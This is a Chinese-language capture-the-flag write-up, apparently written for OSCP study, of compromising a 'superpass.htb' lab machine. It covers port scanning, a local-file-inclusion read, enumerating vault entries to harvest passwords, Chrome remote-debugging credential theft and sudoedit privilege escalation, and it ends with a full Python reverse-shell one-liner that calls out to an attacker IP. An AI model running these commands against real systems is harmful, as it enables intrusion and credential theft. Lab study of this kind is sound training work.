信息收集:
TCP协议:
nmap -p- -sT --min-rate=1000 -Pn 10.129.222.107
UDP协议:
nmap -p- -sU --min-rate=1000 -Pn 10.129.222.107
直接访问80端口,会自动出现一个域名superpass.htb,将这个域名加入hosts文件中
在web界面有一个登陆框,在登陆框处,存在一个注册界面
在注册后,会出现一个报错页面,在页面中发现了一些文件的绝对路径,猜测可能在其他位置存在LFI漏洞,然后下载这些文件
开始目录扫描
gobuster dir -u http://superpass.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 50
发现了/download页面,在页面中存在一个文件读取的参数fn
在这个报错页面中发现了load_user,可能含有用户登陆的东西
将它利用LFI漏洞下载后发现了一串加密的密钥,但是没看懂怎么解密,只能再找找其他出路了
利用LFI漏洞读取../app/app/superpass/views/vault_views.py文件,在这个py脚本中发现输入用户id可以返回password的路径/vault/row/<id>,此时思路就是枚举用户id
利用yakit开始fuzz
在第3、6、7、8位处发现用户的账户以及密码
其中一个账户密码成功利用ssh登陆
成功获取了第一个flag
查看一下suid权限,发现了chrome
查看本地的服务
在chrome中输入chrome://inspect/后配置discover network targerts,添加转发端口后可以看到SuperPassword,后访问vault目录后,可以获取edwards的密码
发现了edwards 用户的密码,利用edwards 的密码成功利用ssh登陆
发现当前用户可以无密码利用dev_admin权限去编辑/app/config_test.json与/app/app-testing/tests/functional/creds.txt
config_test.jso文件是一个配置文件,写入反弹shell命令
export EDITOR="vim -- /app/venv/bin/activate"
sudo -u dev_admin sudoedit /app/config_test.json
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.23",8888));os.dup2(s.fileno() ,0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
成功获取root权限
拿到了第二个flag
版权归原作者 文(备考oscp版~) 所有, 如有侵权,请联系我们删除。